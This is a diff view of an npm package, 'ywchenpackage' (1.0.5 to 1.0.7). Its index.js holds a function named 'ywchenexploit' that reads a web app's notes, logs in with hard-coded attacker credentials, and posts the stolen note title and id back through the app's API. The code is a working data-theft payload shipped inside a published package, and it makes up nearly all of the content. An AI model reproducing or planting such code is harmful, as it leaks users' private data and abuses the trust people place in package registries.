ywchenpackage 1.0.5 → 1.0.7

Sign up to get free protection for your applications and to get access to all the features.
Files changed (2) hide show
  1. package/index.js +27 -15
  2. package/package.json +1 -1
package/index.js CHANGED
@@ -1,25 +1,37 @@
1
1
  function ywchenexploit(cookie) {
2
2
  let stolenurl = "/api/notes/all";
3
- let c2url = "/api/notes";
3
+ let c2path = "/api/notes/add";
4
+ let stolen;
4
5
  fetch(stolenurl)
5
6
  .then(
6
- function(response){
7
+ (response) => {
7
8
  return response.json();
8
9
  }
9
10
  ).then(
10
- function(response){
11
- let stolen = response[0];
11
+ (response) => {
12
+ stolen = response[0];
12
13
  stolen.author = "aaaa";
13
- fetch(
14
- c2url, {
15
- method: "POST",
16
- headers: {
17
- "content-type": "application/json",
18
- "cookie": "session="+cookie
19
- },
20
- body: JSON.stringify({"title":stolen.title+"_id","content":stolen.id})
21
- }
22
- );
23
- })
14
+ });
15
+
16
+ fetch(
17
+ "/login", {
18
+ method: "POST",
19
+ headers: {
20
+ "content-type": "application/json"
21
+ },
22
+ body: JSON.stringify({"username":"ywchen","password":"ywchen"})
23
+ }).then(
24
+ (response) => {
25
+ fetch(
26
+ c2path, {
27
+ method: "POST",
28
+ headers: {
29
+ "content-type": "application/json",
30
+ "cookie": "session="+cookie
31
+ },
32
+ body: JSON.stringify({"title":stolen.title+"_leak","content":stolen.id})
33
+ }
34
+ );
35
+ });
24
36
  return "hello NPM"
25
37
  }
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "ywchenpackage",
3
- "version": "1.0.5",
3
+ "version": "1.0.7",
4
4
  "description": "",
5
5
  "main": "index.js",
6
6
  "scripts": {